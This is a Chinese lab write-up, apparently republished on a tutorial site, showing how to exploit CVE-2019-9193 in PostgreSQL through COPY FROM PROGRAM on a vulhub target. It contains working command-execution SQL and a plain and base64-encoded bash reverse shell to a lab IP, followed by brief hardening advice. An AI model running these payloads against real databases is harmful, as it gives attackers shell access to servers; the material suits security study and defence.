CVE-2019-9193之PostgreSQL?任意命令执行漏洞的问题_PostgreSQL

来源:脚本之家  责任编辑:小易  
目录
一、靶场环境二、漏洞利用三、漏洞修复

起序:客户内网测试的时候遇到的,搭建一个环境,写个笔记记录一下。

一、靶场环境

使用的是 github 上的 vulhub 环境。PostgreSQL 版本为 10.7

vulhub:https://github.com/vulhub/vulhub

1、任意命令执行

具有数据库服务器文件读取权限的攻击者可以利用此漏洞执行任意系统命令。

从 9.3 版本开始,Postgres 新增了一个 COPY TO/FROM PROGRAM 功能,允许数据库的超级用户以及 pg_read_server_files 组中的任何用户执行操作系统命令。

漏洞利用前提:

需要登陆;需要高权限;

所以要先弱口令爆破之后,然后查看是否是高权限。(对于PostgreSQL 来说,只有安装数据库时默认创建的超级用户 postgres,类似于 Linux上的root用户,拥有高权限。)

新建数据库用户:CREATE USER
新建数据库:CREATE DATABASE
删除数据库:DROP DATABASE
删除用户:DROP USER
撤销权限:REVOKE
赋权:GRANT

查看权限:https://www.modb.pro/db/53957

2、影响版本

受影响的版本(貌似更新版本无解)

PostgreSQL >= 9.3

二、漏洞利用

1、启动靶机

docker-compose up -d

注:当测试完成之后会用到 关闭靶机 的命令。不是现在就要使用的命令。

docker-compose down -v

2、Navicat 连接 PostgreSQL

账号密码:postgres:postgres

3、执行命令

右键 public,点击 新建查询

然后就是执行下面的这些命令。

-- 先删除你想要使用但是已经存在的表
DROP TABLE IF EXISTS cmd_exec;

-- 创建保存系统命令输出的表
CREATE TABLE cmd_exec(cmd_output text);

-- 执行系统命令利用特定函数
COPY cmd_exec FROM PROGRAM 'id'; 

-- 查看执行结果
SELECT * FROM cmd_exec;

4、实战拓展:反弹 shell 1、nc 监听

在 kali 中使用 nc 进行监听。

nc -lvvp 1314

2、执行反弹 shell 的命令

DROP TABLE IF EXISTS cmd_exec;
CREATE TABLE cmd_exec(cmd_output text);
COPY cmd_exec FROM PROGRAM '/bin/bash -i >& /dev/tcp/192.168.2.130/1314 0>&1'; 
SELECT * FROM cmd_exec;

但是可以看出执行失败了,这种方法不行。

3、反弹失败

kali 也没有得到 shell。

4、编码解决

将反弹 shell 的命令 base64 编码一下。(下面的解码不用管)

# base64 编码前
/bin/bash -i >& /dev/tcp/192.168.2.130/1314 0>&1

# base64 编码后
L2Jpbi9iYXNoIC1pID4mIC9kZXYvdGNwLzE5Mi4xNjguMi4xMzAvMTMxNCAwPiYxCg==

5、再次执行反弹 shell 的命令

这里的编码不仅仅限于 base64,其他编码形式也可以,主要是为了解决数据传输过程中的特殊字符被异常解析的问题。

DROP TABLE IF EXISTS cmd_exec;
CREATE TABLE cmd_exec(cmd_output text);
COPY cmd_exec FROM PROGRAM 'echo "L2Jpbi9iYXNoIC1pID4mIC9kZXYvdGNwLzE5Mi4xNjguMi4xMzAvMTMxNCAwPiYxCg==" | base64 -d | bash'; 
SELECT * FROM cmd_exec;

6、反弹成功

三、漏洞修复

pg_read_server_files,pg_write_server_files 和 pg_execute_server_program 角色涉及读取和写入具有大权限的数据库服务器文件。将此角色权限分配给数据库用户时,应慎重考虑;增强密码的复杂度;进行网络隔离,限制 IP 访问,只允许需要的 IP 连接;

到此这篇关于CVE-2019-9193:PostgreSQL 任意命令执行漏洞的文章就介绍到这了,更多相关PostgreSQL 任意命令执行漏洞内容请搜索真格学网以前的文章或继续浏览下面的相关文章希望大家以后多多支持真格学网!

您可能感兴趣的文章:PostgreSQL copy 命令教程详解postgreSQL数据库默认用户postgres常用命令分享在postgreSQL中运行sql脚本和pg_restore命令方式在postgresql中通过命令行执行sql文件postgresql 导出建表语句的命令操作

  • 本文相关:
  • postgressql 多表关联删除语句的操作
  • pgsql临时表创建及应用实例解析
  • postgresql中slony-i同步复制部署教程
  • postgresql利用递归优化求稀疏列唯一值的方法
  • postgresql数据库事务出现未知状态的处理方法
  • postgresql 计算时间差的秒数、天数实例
  • 在postgresql中使用ltree处理层次结构数据的方法
  • springboot 没法扫描到repository的解决
  • postgresql 实现将多行合并转为列
  • postgresql实现按年、月、日、周、时、分、秒的分组统计
  • 黑苹果可以更新系统吗?
  • 苹果x升级12.1.4系统怎么样?好用么?
  • Windows未成功关闭。如果这是由于系统无响应,或者是为保护...
  • 手机为什么老是自动照相?
  • 今天新买的手机,程序安全补丁级别日期是2019年2月1日 这是什...
  • 网站首页网页制作脚本下载服务器操作系统网站运营平面设计媒体动画电脑基础硬件教程网络安全mssqlmysqlmariadboracledb2mssql2008mssql2005sqlitepostgresqlmongodbredisaccess数据库文摘数据库其它首页postgresqlpostgresql copy 命令教程详解postgresql数据库默认用户postgres常用命令分享在postgresql中运行sql脚本和pg_restore命令方式在postgresql中通过命令行执行sql文件postgresql 导出建表语句的命令操作postgressql 多表关联删除语句的操作pgsql临时表创建及应用实例解析postgresql中slony-i同步复制部署教程postgresql利用递归优化求稀疏列唯一值的方法postgresql数据库事务出现未知状态的处理方法postgresql 计算时间差的秒数、天数实例在postgresql中使用ltree处理层次结构数据的方法springboot 没法扫描到repository的解决postgresql 实现将多行合并转为列postgresql实现按年、月、日、周、时、分、秒的分组统计postgresql 角色与用户管理介绍windows下postgresql数据库的下载与配置方法windows下postgresql安装图解postgresql中的oid和xid 说明15个postgresql数据库实用命令分享postgresql实现批量插入、更新与合并操作的方法postgresql alter语句常用操作小结postgresql 创建表分区windows postgresql 安装图文教程postgresql 安装和简单使用用一整天的时间安装postgresql ntfs权限postgresql教程(二十):pl/pgsql过程语言浅谈pg_hint_plan定制执行计划查看postgresql数据库用户系统权限、对象权限的方法在ubuntu中安装postgresql数据库的步骤详解postgresql~*符号的含义及用法说明postgresql 实现查询某时间区间的所有日期案例postgresql时间线(timeline)和history file的用深入解读postgresql中的序列及其相关函数的用法psql 执行文件 permission denied的解决
    免责声明 - 关于我们 - 联系我们 - 广告联系 - 友情链接 - 帮助中心 - 频道导航
    Copyright © 2017 www.zgxue.com All Rights Reserved